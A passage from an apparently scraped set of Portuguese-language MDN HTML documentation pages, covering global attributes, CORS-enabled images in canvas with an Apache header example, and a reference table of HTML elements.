elemento, como por exemplo para testes.\n\n`tabindex`\n\nÉ um atributo que recebe valores inteiros e indica se um elemento pode receber o foco de entrada de valores (é focável), se ele deve entrar na sequência da navegação pelo teclado (através da tecla TAB), e qual posição da sequência. Sobre seus valores:\n\n* um *valor negativo* indica que o elemento **é focável**, mas **não é alcançável** pela navegação sequencial do teclado (através da tecla TAB);\n* `0` indica que o elemento **é focável** e **alcançavel** pela navegação sequencial do teclado, mas sua ordem de seleção relativa é definida pela convenção da plataforma (ou do navegador);\n* um *valor positivo* indica que o elemento **é focável** e **alcançável** pela navegação sequencial do teclado; sua ordem de seleção relativa é definida pelo valor colocado: a sequência segue em ordem crescente definida no `tabindex`. Se vários elementos possuem o mesmo valor de `tabindex`, sua ordem relativa é estabelecida pela posição relativa no documento HTML.\n\n`title`\n\nContém um texto representativo sobre a informação relacionada ao elemento ao qual este atributo pertence. Tal informação pode, mas não necessariamente, ser apresentada através de um *tooltip*.\n\n`translate` (en-US)\n\nÉ um atributo enumerado, usado para especificar se um atributo de um elemento e os valores dos seus nós descendentes (filhos) `Text` (en-US) serão traduzidos quando a página for localizada, ou se não serão alterados. Pode ter os seguintes valores:\n\n* `yes` ou string vazia: indicam que o elemento será traduzido;\n* `no`: indica que o elemento não será traduzido.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # the-accesskey-attribute |\n| HTML Standard # attr-autocapitalize |\n| HTML Standard # attr-fe-autocomplete |\n| HTML Standard # dom-fe-autofocus |\n| HTML Standard # global-attributes:classes-2 |\n| HTML Standard # attr-contenteditable |\n| HTML Standard # attr-data-\\* |\n| HTML Standard # the-dir-attribute |\n| HTML Standard # the-draggable-attribute |\n| HTML Standard # attr-enterkeyhint |\n| CSS Shadow Parts # element-attrdef-html-global-exportparts |\n| HTML Standard # the-hidden-attribute |\n| HTML Standard # global-attributes:the-id-attribute-2 |\n| HTML Standard # the-inert-attribute |\n| HTML Standard # attr-inputmode |\n| HTML Standard # attr-is |\n| HTML Standard # attr-itemid |\n| HTML Standard # names:-the-itemprop-attribute |\n| HTML Standard # attr-itemref |\n| HTML Standard # attr-itemscope |\n| HTML Standard # attr-itemtype |\n| HTML Standard # attr-lang |\n| HTML Standard # attr-nonce |\n| CSS Shadow Parts # part-attr |\n| HTML Standard # the-popover-attribute |\n| HTML Standard # attr-popovertarget |\n| HTML Standard # attr-popovertargetaction |\n| HTML Standard # attr-slot |\n| DOM Standard # ref-for-dom-element-slot① |\n| HTML Standard # attr-spellcheck |\n| HTML Standard # the-style-attribute |\n| HTML Standard # attr-tabindex |\n| HTML Standard # the-title-attribute |\n| HTML Standard # attr-translate |\n| VirtualKeyboard API # dom-elementcontenteditable-virtualkeyboardpolicy |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Element` e `GlobalEventHandlers` interfaces que permitem acessar a maioria dos atributos globais."}
{"title":"CORS_habilitar_imagens - HTML: Linguagem de Marcação de Hipertexto","text":"CORS\\_habilitar\\_imagens\n========================\n\nThe HTML specification introduces a `crossorigin` attribute for images that, in combination with an appropriate CORS header, allows images defined by the `<img>` element that are loaded from foreign origins to be used in canvas as if they were being loaded from the current origin.\n\nSee CORS settings attributes for details on how the `crossorigin` attribute is used.\n\nO que é um \"contaminado\" canvas?\n--------------------------------\n\nEmbora você possa usar imagens sem aprovação do CORS em seu canvas, criando contaminação ao canvas. Uma vez o canvas tenhya sido \"contaminado\" você não pode mais \"puxar\" informações do canvas.Por exemplo, você pode não mais usar os métodos canvas toBlob(), toDataURL(), ou getImageData(), fazendo isto você irá lançar um erro de sergurança.\n\nEsta proteção de usuário tem tido dados expostos por uso de informações de imagens de site web remoto sem permissão.\n\nExemplo: Armazenando uma imagem de uma origem estrangeira\n---------------------------------------------------------\n\nVocê precisa ter um servidor hospedando as imagenscom o apropriado Access-Control-Allow-Origin cabeçalho. Adicionando atributos crossOrigin faz uma requisição ao cabeçalho. Você pode usar este exemplo das Configurações Apache Server HTML5 Boilerplate para aproximadamente responder com este cabeçalho de resposta.\n\n\n```xml\n<IfModule mod\\_setenvif.c>\n    <IfModule mod\\_headers.c>\n        <FilesMatch \"\\.(cur|gif|ico|jpe?g|png|svgz?|webp)$\">\n            SetEnvIf Origin \":\" IS_CORS\n            Header set Access-Control-Allow-Origin \"*\" env=IS_CORS\n        </FilesMatch>\n    </IfModule>\n</IfModule>\n```\n\n\nDado que está tudo classificado, você permiti salvar àquelas imagens no Armazenamento DOM (en-US)\n\n\n```js\nvar img = new Image(),\n  canvas = document.createElement(\"canvas\"),\n  ctx = canvas.getContext(\"2d\"),\n  src = \"http://example.com/image\"; // insert image url here\n\nimg.crossOrigin = \"Anonymous\";\n\nimg.onload = function () {\n  canvas.width = img.width;\n  canvas.height = img.height;\n  ctx.drawImage(img, 0, 0);\n  localStorage.setItem(\"savedImageData\", canvas.toDataURL(\"image/png\"));\n};\nimg.src = src;\n// make sure the load event fires for cached images too\nif (img.complete || img.complete === undefined) {\n  img.src =\n    \"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\";\n  img.src = src;\n}\n```\n\nVeja também\n-----------\n\n* Usando imagens de Cross-domínio em WebGL e Chrome 13\n* Especificações HTML - o atributo crossorigin"}
{"title":"Elementos HTML - HTML: Linguagem de Marcação de Hipertexto","text":"Elementos HTML\n==============\n\nEsta página lista todos os elementos HTML. Eles são agrupados por função para ajuda-lo a achar o que quer fácilmente. Apesar deste guia ser escrito para aqueles mais inexperientes com a programação, nós esperamos que seja útil para todos.\n\nElementos básicos\n-----------------\n\nElementos básicos são o que constituem a base de todo documento HTML. Se vê esses elementos no código fonte de todas as páginas da web, logo em seguida da declaração de doctype, que está na primeira linha da página. O doctype específica qual a versão de (X)HTML que a página está usando. Os elementos que formam o conteúdo da página são postos entre a tag de abertura `<html>` e a tag de fechamento `</html>`. O elemento `<html>` é também conhecido como o elemento raiz.\n\n| Element | Description |\n| --- | --- |\n| `<html>` | O elemento **HTML <html>** (ou *HTML root element*) representa a raiz de um HTML ou XHTML documento. Todos os outros elementos devem ser descendentes desse elemento. |\n\nMetadados do documento\n----------------------\n\nOs metadados são onde se guardam várias informações sobre a página, incluindo informações sobre estilos, scripts e dados para auxiliar software (ferramentas de pesquisa (en-US), navegadores, etc) usar e renderizar a página. Os metadados de estilos e scripts podem ser definidos dentro da própria página ou escritos em um arquivo externo que é referênciado pela mesma.\n\n| Element | Description |\n| --- | --- |\n| `<base>` | O *elemento HTML Base* (**<base>**) especifica o endereço (URL) utilizada por todos os endereços relativos contidos dentro de um documento. Há um número máximo de 1 (um) elemento *Base* <base> do documento. |\n| `<head>` | O elemento **HTML `<head>` providencia informações gerais** (metadados) sobre o documento, incluindo seu título e links para scripts e folhas de estilos. |\n| `<link>` | O **Elemento HTML *<link>*** especifica as relações entre o documento atual e um recurso externo. Possíveis usos para este elemento incluem a definição de uma estrutura relacional para navegação. Este elemento é mais usado para vincular as folhas de estilo. |\n| `<meta>` | O elemento \\*\\*HTML `<meta>` \\*\\*define qualquer informação de metadados que não podem ser definidos por outros elementos **HTML.** (`<base>`, `<link>`, `<script>`, `<style>` ou `<title>`). |\n| `<style>` | O **elemento HTML <style>** contém informações de estilo para um documento ou uma parte do documento. As informações de estilo específico estão contidas dentro deste elemento, geralmente no CSS. |\n| `<title>` | O **elemento HTML** `<title>` (*Elemento HTML Título*) define o título do documento, mostrado na barra de título de um navegador ou na aba da página. Pode conter somente texto e quaisquer marcações contidas no texto não são interpretadas. |\n\nSectioning root\n---------------\n\n| Element | Description |\n| --- | --- |\n| `<body>` | O **elemento** `<body>` do **HTML** representa o conteúdo de um documento HTML. è permitido apenas um `<body>` por documento. |\n\nSeparação de conteúdo\n---------------------\n\nElementos de separação de conteúdo permitem organizar o conteúdo do documento em partes lógicas. Use elementos de separação para criar um esboço do conteúdo da página, incluindo navegação por cabeçalho e rodapé, e elementos de cabeçalho para identificar seções de conteúdo.\n\n| Element | Description |\n| --- | --- |\n| `<address>` | O **elemento HTML `<address>`** fornece informações de contato para seu ancestral `<article>` ou `<body>` mais próximo; no segundo caso, ele se aplica ao documento inteiro. |\n| `<article>` | O *Elemento HTML Article* (<article>) representa uma composição independente em um documento, página, aplicação, ou site, ou que é destinado a ser distribuido de forma independente ou reutilizável, por exemplo, em sindicação. Este poderia ser o post de um fórum, um artigo de revista ou jornal, um post de um blog, um comentário enviado por um usuário, um gadget ou widget interativos, ou qualquer outra forma de conteúdo independente. |\n| `<aside>` | O elemento HTML **`<aside>`** representa uma seção de uma página que consiste de conteúdo que é tangencialmente relacionado ao conteúdo do seu entorno, que poderia ser considerado separado do conteúdo. Essas seções são, muitas vezes, representadas como barras laterais. Elas muitas vezes contem explicações laterais, como a definição de um glossário; conteúdo vagamente relacionado, como avisos; a biografia do autor; ou, em aplicações web, informações de perfil ou links de blogs relacionados. |\n| `<footer>` | O elemento HTML de Rodapé (<footer>) representa um rodapé para o seu sectioning content (conteúdo de seção) mais próximo ou sectioning root elemento (ou seja, seu parente mais próximo `<article>`, `<aside>`, `<nav>`, `<section>`, `<blockquote>`, `<body>`, `<details>`, `<fieldset>`, `<figure>`, `<td>` (en-US)). Normalmente um rodapé contém informações sobre o autor da seção de dados, direitos autorais ou links para documentos relacionados. |\n| `<header>` | O **elemento HTML** **`<header>`** representa um grupo de suporte introdutório ou navegacional. Pode conter alguns elementos de cabeçalho mas também outros elementos como um logo, seções de cabeçalho, formulário de pesquisa, e outros. |\n| `<h1>`, `<h2>`, `<h3>`, `<h4>`, `<h5>`, `<h6>` | Os **elementos HTML** **`<h1>`–`<h6>`** representam seis níveis de título de seção. `<h1>` é o nível de seção mais alto e `<h6>` é o mais baixo. |\n| `<main>` | O elemento **`<main>`** define o conteúdo principal dentro do `<body>` em seu documento ou aplicação. Entende-se como conteúdo principal aquele relacionado diretamente com o tópico central da página ou com a funcionalidade central da aplicação. O mesmo deverá ser único na página, ou seja, dentro do elemento <main> não deverão ser incluidas seções da página que sejam comuns a todo o site ou aplicação, tais como mecanismos de navegação, informações de copyright, logotipo e campos de busca (a não ser, é claro, caso a função principal do documento seja fazer algum tipo de busca). |\n| `<nav>` | O *Elemento* *HTML* *de Navegação* (`<nav>`) representa uma seção de uma página que aponta para outras páginas ou para outras áreas da página, ou seja, uma seção com links de navegação. |\n| `<section>` | O **elemento HTML `<section>`** representa uma seção genérica contida em um documento HTML, geralmente com um título, quando não existir um elemento semântico mais específico para representá-lo. |\n\nConteúdo textual\n----------------\n\nUsam-se elementos HTML de conteúdo textual para se organizar blocos ou seções de conteúdo postos entre as tags de abertura `<body>` e fechamento `</body>`. Importantes para accessibilidade e SEO, esses elementos identificam o propósito ou estrutura do conteúdo.\n\n| Element | Description |\n| --- | --- |\n| `<blockquote>` | O Elemento HTML <blockquote> (ou Elemento HTML de citação de bloco) indica que o texto incluído é uma longa citação. Normalmente, este é processado visualmente pelo recuo (ver Notas (en-US) sobre como mudá-lo). A URL para a fonte da citação pode ser dada usando o atributo **cite**, enquanto uma representação de texto da fonte pode ser dada usando o `<cite>` elemento. |\n| `<dd>` | O **elemento HTML <dd>** fornece detalhes ou uma definição mais completa do termo precedente (definido por `<dt>`) numa lista de descrições (`<dl>`). |\n| `<div>` | O **elemento de divisão** \\*\\*HTML `<div>` \\*\\*é um container genérico para conteúdo de fluxo, que de certa forma não representa nada. Ele pode ser utilizado para agrupar elementos para fins de estilos (usando **class** ou **id**), ou porque eles compartilham valores de atributos, como **lang**. Ele deve ser utilizado somente quando não tiver outro elemento de semântica (tal como `<article>` ou `<nav>`). |\n| `<dl>` | O elemento HTML *Definition List* (`<dl>`) engloba uma lista de pares de termos e descrições. Um uso comum para este elemento é para implementar um glossário ou exibir metadados(uma lista de pares chave e valor). |\n| `<dt>` | O elemento **HTML `<dt>`** (ou Elemento HTML de Definição de Termo) identifica um termo na lista de definição. Este elemento pode ocorrer somente em um elemento filho de `<dl>`. Geralmente seguido por um elemento `<dd>`; ou multiplos `<dt>` na mesma linha indicam vários termos sendo definidos pelo próximo element `<dd>`. |\n| `<figcaption>` | O **Elemento HTML Figcaption** (`<figcaption>`) representa uma legenda ou uma legenda associada com uma figura ou ilustração descrita pelo resto dos dados do elemento `<figure>` que seu elemento pai. |\n| `<figure>` | O elemento **`<figure>`** HTML representa conteúdo autocontido, potencialmente com uma legenda opcional, que é especificada usando o `<figcaption>` elemento. A figura, sua legenda e seu conteúdo são referenciados como uma única unidade. |\n| `<hr>` | O **elemento HTML `<hr>`** representa uma quebra temática entre elementos de nível de parágrafo (por exemplo , uma mudança da cena de uma história, ou uma mudança de tema com uma seção). Nas versões anteriores do HTML, representava uma linha horizontal. Pode continuar sendo exibida como uma linha horizontal nos navegadores, mas agora está definida em termos semânticos, em vez de termos de apresentação. |\n| `<li>` | O ***elemento*** ***HTML* `<li>`** (ou a Lista dos Itens de um elemento HTML) é usado para representar um item que faz parte de uma lista. Este item deve estar contido em um elemento pai: uma lista ordenada (`<ol>`), uma lista desordenada (`<ul>`) , ou um menu (`<menu>` (en-US)) e representa uma única entidade dessa lista. Em menus e listas desordenadas a relação de itens é exibida, normalmente, usando pontos de marcação (as bolinhas). Em listas ordenadas eles são, comumente, mostrados com algum contador ascendente - como um número, ou letra - à sua esquerda. |\n| `<menu>` (en-US) | A semantic alternative to (`<ul>`, but treated by browsers (and exposed through the accessibility tree) as no different than (`<ul>`. It represents an unordered list of items (which are represented by (`<li>` elements). |\n| `<ol>` | O **Elemento HTML <ol>** (ou *Elemento HTML de lista ordenada*) representa uma lista de itens ordenados. De forma característica esses itens ordenados em uma lista são mostrados com uma contagem que os precede, que pode ser de qualquer tipo, como numerais, letras, algarismos romanos, ou simples símbolos. Esse modelo numerado não é definido na descrição html da página, mas na folha de estilos CSS associada, pela propriedade `list-style-type` (en-US). |\n| `<p>` | O **elemento HTML** **`<p>`** representa um parágrafo. Em mídias visuais, parágrafos são representados como blocos indentados de texto com a primeira letra avançada e separados por linhas em branco. Já em HTML, parágrafos são usados para agrupar conteúdos relacionados de qualquer tipo, como imagens e campos de um formulário. |\n| `<pre>` | *HTML texto preformatado* (**<pre>**) é a tag utilizada para representar texto pré-formatado. Um texto dentro desse elemento é tipicamente exibido em uma fonte não proporcional da mesma maneira em que o texto original foi disposto no arquivo. Espaços em branco são mantidos no texto da mesma forma em que este foi digitado. |\n| `<ul>` | O **elemento HTML`<ul>`** (ou *elemento* *HTML de Lista desordenada*) representa uma lista de itens sem ordem rígida, isto é, uma coleção de itens que não trazem uma ordenação numérica e as suas posições, nessa lista, são irrelevantes. Caracteristicamente, os itens em uma lista desordenada são exibidos com um marcador que pode ter várias formas, como um ponto, um círculo, ou um quadrado. O tipo de marcador não é definido na descrição HTML da página, mas na CSS associada, utilizando a propriedade `list-style-type` (en-US). |\n\nSemânticas textuais inline\n--------------------------\n\nUsa-se a semântica textual inline para definir o significado, estrutura, ou estilo de uma palavra, linha, ou de qualquer outro tipo de texto.\n\n| Element | Description |\n| --- | --- |\n| `<a>` | O **elemento** **`<a>`** em **HTML** (ou elemento âncora), com o atributo `href` cria-se um hiperligação nas páginas web, arquivos, endereços de emails, ligações na mesma página ou endereços na URL. O conteúdo dentro de cada `<a>` **precisará** indicar o destino do link. |\n| `<abbr>` | O *Elemento* \\_HTML `<abbr>` \\_(ou Elemento de Abreviação HTML) representa uma abreviação e opcionalmente fornece uma descrição completa para ela. Se presente, o atributo **`title`** deve conter a descrição completa e apenas ela. |\n| `<b>` | O **elemento HTML <b>** representa um intervalo de texto estilísticamente diferente do texto normal, sem transmitir qualquer importância ou relevância. Ele é geralmente usado para destacar palavras-chaves em um resumo, nomes de produtos em um comentário ou outros vãos de texto cuja a apresentação típica seria negrito. Outro exemplo de seu uso é como marcação da frase principal de cada paragrafo de um artigo. |\n| `<bdi>` | O HTML <bdi>elemento (ou elemento de isolamento de Bi-direcional) isola um trechode texto que pode ser formatado em uma direção diferente de outro texto fora dela. |\n| `<bdo>` | O \\*\\**elemento* HTML `<bdo>` \\*\\*(*bidirectional override*) é usado para substituir a direcionalidade atual do texto. Isso faz com que a direcionalidade dos personagens seja ignorada em favor da direcionalidade especificada. |\n| `<br>` | O elemento HTML *quebra-de-linha* <br> produz uma quebra de linha em um texto (carriage-return).É útil para escrever poemas ou um endereço, onde a divisão de linha é significante. |\n| `<cite>` | O **elemento** **HTML <cite>** representa uma referência a um trabalho artístico. Deve incluir o título do trabalho ou uma URL de referência, que pode ser em uma forma abreviada de acordo com as convenções usadas para a adição dos metadados de citação. |\n| `<code>` | O **elemento** \\*\\*HTML `<code>` \\*\\*apresenta seu conteúdo estilizado de maneira a indicar que o texto é um pequeno fragmento de código. Por padrão, o conteúdo é exibido utilizando a fonte monoespaçada padrão do user agent's (en-US). |\n| `<data>` (en-US) | The **HTML `<data>` Element** links a given content with a machine-readable translation. If the content is time- or date-related, the `<time>` must be used. |\n| `<dfn>` | O elemento \\*\\*HTML `<dfn>` \\*\\*(ou *Elemento Definição* *HTML*) representa uma instância de definição de um termo. |\n| `<em>` | O **elemento** **HTML** **`<em>`** marca o texto que tem ênfase. O elemento <em> pode ser aninhado, com cada nível de aninhamento indicando um grau maior de ênfase. |\n| `<i>` | O \\*\\*elemento HTML `<i>` \\*\\*representa uma parte do texto que é destacada do restante por algum motivo, por exemplo, termos técnicos, expressões de outros idiomas ou pensamentos de personagens fictícios. Normalmente, é apresentado com o uso do tipo \"itálico\". |\n| `<kbd>` (en-US) | Represents a span of inline text denoting textual user input from a keyboard, voice input, or any other text entry device. By convention, the user agent defaults to rendering the contents of a `<kbd>` element using its default monospace font, although this is not mandated by the HTML standard. |\n| `<mark>` | O \\*\\*Elemento HMTL `<mark>` \\*\\*representa um trecho de destaque em um texto, por exemplo, uma sequência de texto marcado como referência, devido à sua relevância em um contexto particular. Por Exemplo, pode ser utilizado em uma página que mostra os resultados de uma busca onde todas as instâncias da palavra pesquisadas receberam destaque. |\n| `<q>` | O elemento HTML <q> indica que o texto dentro da tag é uma pequena citação. Este elemento destina-se a citações curtas que não requerem marcações de parágrafo; para citações maiores use o elemento `<blockquote>`. |\n| `<rp>` (en-US) | Used to provide fall-back parentheses for browsers that do not support display of ruby annotations using the `<ruby>` element. One `<rp>` element should enclose each of the opening and closing parentheses that wrap the `<rt>` (en-US) element that contains the annotation's text. |\n| `<rt>` (en-US) | The **HTML `<rt>` Element** embraces pronunciation of character presented in a ruby annotations, which are for showing pronunciation of East Asian characters and the `<rt>` element is used inside of `<ruby>` element. |\n| `<ruby>` | O **elemento** \\*\\*HTML `<ruby>` \\*\\*representa uma anotação ruby. Anotações ruby são para mostrar a pronúncia de caracteres do Leste Asiático |\n| `<s>` | O **elemento HTML `<s>`** renderiza um texto tachado ou uma linha cortando o texto. Use o elemento `<s>` para representar texto que não sejam relevante ou que não estam corretos. Não é apropriado o uso do `<s>` indicar edições no texto; para indicar edições no texto utilize `<del>` e `<ins>` (en-US), que são elementos mais apropriados. |\n| `<samp>` (en-US) | Used to enclose inline text which represents sample (or quoted) output from a computer program. Its contents are typically rendered using the browser's default monospaced font (such as Courier or Lucida Console). |\n| `<small>` (en-US) | Represents side-comments and small print, like copyright and legal text, independent of its styled presentation. By default, it renders text within it one font-size smaller, such as from `small` to `x-small`. |\n| `<span>` | O elemento **HTML `<span>` é um conteiner generico em linha para conteúdo fraseado** , que não representa nada por natureza. Ele pode ser usado para agrupar elementos para fins de estilo (usando os atributos `class` ou `id` ), ou para compartilhar valores de atributos como `lang`. Ele deve ser usado somente quando nenhum outro elemento semântico for apropriado. `<span>` é muito parecido com o elemento `<div>` , entretando `<div>` é um elemento de nível de bloco enquanto `<span>` é um elemento em linha. |\n| `<strong>` | ``` |\n| `<sub>` (en-US) | Specifies inline text which should be displayed as subscript for solely typographical reasons. Subscripts are typically rendered with a lowered baseline using smaller text. |\n| `<sup>` (en-US) | Specifies inline text which is to be displayed as superscript for solely typographical reasons. Superscripts are usually rendered with a raised baseline using smaller text. |\n| `<time>` | O elemento HTML *time* (`<time>`) representa o tempo tanto no formato de 24 horas ou como uma data precisa no calendário Gregoriano (com informações opcionais de tempo e fuso horário) |\n| `<u>` (en-US) | Represents a span of inline text which should be rendered in a way that indicates that it has a non-textual annotation. This is rendered by default as a simple solid underline, but may be altered using CSS. |\n| `<var>` | O elemento HTML Variable (`<var>`) representa uma variável em uma expressão matemática ou um contexto de programação. |\n| `<wbr>` | O elemento HTML `<wbr>` representa uma posição no texto onde o navegador pode, opcionalmente, quebrar uma linha, embora suas regras de quebra de linha de outra forma não criar uma ruptura naquele local. |\n\nImagem e multimídia\n-------------------\n\nHTML suporta vários recursos multimídia como imagens, audio, e video.\n\n| Element | Description |\n| --- | --- |\n| `<area>` | O *HTML `<area>` elemento* define uma região hot-spot em uma imagem, e, opcionalmente, associa-lo com um link de hipertexto (en-US). Este elemento é usado somente dentro de um `<map>` elemento. |\n| `<audio>` | O elemento `audio` é utilizado para embutir conteúdo de som em um documento HTML ou XHTML.O elemento `audio` foi adicionado como parte do HTML5. |\n| `<img>` | O **elemento** \\*\\*HTML `<img>` \\*\\*(or *HTML Image Element*) representa a inserção de imagem no documento, sendo implementado também pelo HTML5 para uma melhor experiência com o elemento `<figure>` e `<figcaption>`. |\n| `<map>` | O **elemento HTML `<map>`** é usado com os elementos `<area>` para definir um mapa de imagem (a área clicável do link). |\n| `<track>` | O **elemento HTML `<track>`** é usado como filho dos elementos de mídia`<audio>` e `<video>`. Ele permite que você especifique faixas de texto temporizadas (ou dados baseados em tempo), por exemplo, para lidar automaticamente com legendas. As faixas são formatadas em WebVTT format (en-US) (arquivos `.vtt`) — Web Video Text Tracks or Timed Text Markup Language (TTML). |\n| `<video>` | O elemento HTML `<video>` é utilizado para incorporar conteúdo de vídeo em um documento HTML ou XHTML. |\n\nConteúdo integrado\n------------------\n\nAlém do conteúdo normal de multimídia, HTML pode incluir uma variedade de outros conteúdos, apesar de nem todos serem possuírem fácilidade de interação.\n\n| Element | Description |\n| --- | --- |\n| `<embed>` | O \\*\\*elemento HTML `<embed>` \\*\\*incorpora conteúdo externo no ponto especificado no documento. Este conteúdo é fornecido por um aplicativo externo ou outra fonte de conteúdo interativo, como um plug-in de navegador. |\n| `<iframe>` | O **elemento** **HTML** **<iframe>** (ou *elemento HTML* *inline frame*) representa um contexto de navegação aninhado, efetivamente incorporando outra página HTML para a página atual. Em HTML 4.01, um documento pode conter uma cabeça e um corpo ou uma cabeça e um conjunto de quadros, mas não tanto um corpo e um conjunto de quadros. No entanto, um <iframe> pode ser usado dentro de um corpo de documento normal. Cada contexto de navegação tem sua própria história de sessão e o documento ativo. O contexto de navegação que contém o conteúdo incorporado é chamado o pai de contexto de navegação. O contexto de navegação de nível superior (que não tem um pai) normalmente é a janela do navegador. |\n| `<object>` (en-US) | Represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin. |\n| `<picture>` | O **elemento HTML `<picture>`** é um container usado para especificar múltiplos elementos `<source>` para um elemento específico `<img>` contido nele. O navegador irá escolher a imagem mais adequada de acordo com o layout atual da página, caracteristicas do dispositivo em que será exibido (p.e. um dispositivo normal ou um hiDPI), e a habilidade do navegador de renderizar um certo tipo de imagem (p.e., envie uma imagem WebP para os navegadores baseados no Chromium ou PNG para navegadores não-Chromium); se não houver correspondência entre os elementos `<source>`, o arquivo especificado pelo elemento `<img>` será selecionado. A imagem selecionada é então exibida no espaço ocupado pelo elemento `<img>`. |\n| `<portal>` (en-US) | Enables the embedding of another HTML page into the current one for the purposes of allowing smoother navigation into new pages. |\n| `<source>` | O elemento `source` é utilizado para especificar múltiplos recursos de mídia de elementos `<picture>`, `<audio>` ou `<video>` em HTML5. É um elemento vazio. É normalmente usado para disponibilizar multiple formats supported by different browsers. |\n\nSVG and MathML\n--------------\n\nYou can embed SVG and MathML content directly into HTML documents, using the `<svg>` and `<math> (en-US)` elements.\n\n| Element | Description |\n| --- | --- |\n| `<svg>` | O elemento `svg` é um contêiner que define um novo sistema de coordenadas e janela de visualização (en-US). É usado como o elemento mais externo dos documentos SVG, mas também pode ser usado para incorporar um fragmento SVG dentro de um documento SVG ou HTML. |\n| `<math> (en-US)` | The top-level element in MathML is `<math>`. Every valid MathML instance must be wrapped in `<math>` tags. In addition you must not nest a second `<math>` element in another, but you can have an arbitrary number of other child elements in it. |\n\nScripting\n---------\n\nCom o intuito de permitir a criação de conteúdo dinâmico e aplicações Web, HTML foi projetado com suporte a linguagens de scripting, a mais prominiente sendo JavaScript. Certos elementos suportam essa capacidade.\n\n| Element | Description |\n| --- | --- |\n| `<canvas>` | O elemento HTML *Canvas* (`<canvas>`) pode ser utilizado para desenhar gráficos utilizando scripts (geralmente JavaScript). Por exemplo, além de desenhar gráficos, ele pode ser usado para fazer composições de fotos e também para animações. Você poderá colocar conteúdos alternativos dentro do bloco `<canvas>`. Este conteúdo será renderizado também em navegadores antigos e em navegadores com JavaScript desabilitado. |\n| `<noscript>` | O **Elemento HTML `<noscript>`** define uma seção de html a ser inserida se um tipo de script não é suportado pela página ou se o script está desativado no navegador. |\n| `<script>` | O **elemento HTML `<script>`** é usado para incluir ou referenciar um script executável. |\n\nDemarcando edições\n------------------\n\nEstes elementos permitem prover indicações que partes específicas de um texto foram alteradas.\n\n| Element | Description |\n| --- | --- |\n| `<del>` | O **elemento** **HTML `<del>`** (ou *Elemento* *HTML* *de Texto Excluído*) representa uma parte do texto que foi excluída de um documento. Este elemento é (não necessariamente) renderizado pelos navegadores com uma linha entre o texto. |\n| `<ins>` (en-US) | The **HTML `<ins>` Element** (or *HTML Inserted Text*) HTML represents a range of text that has been added to a document. |\n\nConteúdo tabulado\n-----------------\n\nEstes elementos são usados para se criar e manipular dados em tabelas.\n\n| Element | Description |\n| --- | --- |\n| `<caption>` | O elemento HTML **`caption`** especifica a legenda (ou título) de uma tabela. |\n| `<col>` (en-US) | O elemento **HTML `<col>`** define uma tabela contendo colunas e sendo utilizada para definições semanticas em todas as colunas comuns. É normalmente encontrada dentro do elemento(\"colgroup\")}} .Este elemento permite a estilização de colunas utilizando-se do CSS, porém apenas um numero pequeno de atributos que terão efeito dentro das colunas (veja as especificações do CSS 2.1 a partir dessa lista). |\n| `<colgroup>` (en-US) | Defines a group of columns within a table. |\n| `<table>` | O elemento HTML *Table* (`<table>`) representa dados em duas dimensões ou mais. |\n| `<tbody>` (en-US) | Encapsulates a set of table rows (`<tr>` (en-US) elements), indicating that they comprise the body of the table (`<table>`). |\n| `<td>` (en-US) | Defines a cell of a table that contains data. It participates in the *table model*. |\n| `<tfoot>` | O **`<tfoot>`** é um **elemento HTML** que define um conjunto de linhas as quais farão parte do rodapé de uma tabela HTML |\n| `<th>` | O **elemento HTML `<th>`** define uma célula cabeçalho do grupo de células de sua tabela. A exatidão natural deste grupo é definida pelos atributos `scope` e `headers`. |\n| `<thead>` (en-US) | Defines a set of rows defining the head of the columns of the table. |\n| `<tr>` (en-US) | Defines a row of cells in a table. The row's cells can then be established using a mix of `<td>` (en-US) (data cell) and `<th>` (header cell) elements. |\n\nFormulários\n-----------\n\nHTML provê de vários elementos que podem ser usados juntos para criar formulários que o usuário pode preencher e mandar para o website ou aplicativo. Há muito mais informação no guia de formulários HTML.\n\n| Element | Description |\n| --- | --- |\n| `<button>` | O **Elemento HTML *`<button>`*** representa um botão clicável. |\n| `<datalist>` | O elemento HTML *Datalist* (<datalist>) contém um conjunto de elementos `<option>` que representam as opções possíveis para o valor de outros controles. |\n| `<fieldset>` | O **elemento** **HTML `<fieldset>`** é usado para agrupar elementos, assim como labels (`<label>`), dentro de um formulário web. |\n| `<form>` (en-US) | O \\*\\*elemento HTML `<form>` \\*\\*representa uma seção de um documento que contém controles interativos que permitem ao usuário submeter informação a um determinado servidor web. |\n| `<input>` | O **elemento HTML `<input>`** é usado para criar controles interativos para formulários baseados na web para receber dados do usuário. A semântica de um `<input>` varia consideravelmente dependendo do valor de seu atributo `type`. |\n| `<label>` | Um **elemento** \\*\\*HTML `<label>` \\*\\*representa uma legenda para um item em uma interface de usuário. Ele pode estar associado com um elemento de controle, colocando este dentro do elemento `label`, ou usando o atributo `for`. Tal controle é chamado o *controle etiquetado* do elemento etiqueta. Um input pode ser associado a diversas etiquetas (<label>s). |\n| `<legend>` | O \\*\\*Elemento HTML <legend> \\*\\*(ou *Elemento* *HTML Campo \"Legend\"*) representa um rótulo para o conteúdo do seu ancestral `<fieldset>`. |\n| `<meter>` | O elemento HTML *meter* (`<meter>`) pode representar um valor escalar dentro de um intervalo conhecido ou um valor fracionário. |\n| `<optgroup>` | Em um Formulário Web, o elemento HTML `<optgroup>` cria um agrupamento de opções dentro do elemento `<select>`. |\n| `<option>` | Em um formulário Web, o **elemento HTML** `<option>` é usado para criar um controle que representa um item dentro de um elemento HTML5 `<select>`, `<optgroup>` ou `<datalist>`. |\n| `<output>` | O elemento de saída (<output>) é um elemento no qual um site ou aplicativo pode injetar os resultados de um cálculo ou o resultado de uma ação do usuário. |\n| `<progress>` | o elemento HTML progress (<progress>) é usado para visualizar o progresso de uma tarefa. Embora as especifidades de como é mostrado ficam a cargo do desenvolvedor, tipicamente, é mostrado como uma barra de progresso. |\n| `<select>` | O elemento HTML *select* (<select>) representa um controle que apresenta um menu de opções. As opções dentro do menu são representadas pelo elemento `<option>`, que podem ser agrupados por elementos ``<optgroup>``. As opções podem ser pré-selecionadas para o usuário. |\n| `<textarea>` | O **elemento** HTML `<textarea>` representa um controle de edição para uma caixa de texto, útil quando você quer permitir ao usuário informar um texto extenso em formato livre, como um comentário ou formulário de retorno. |\n\nElementos 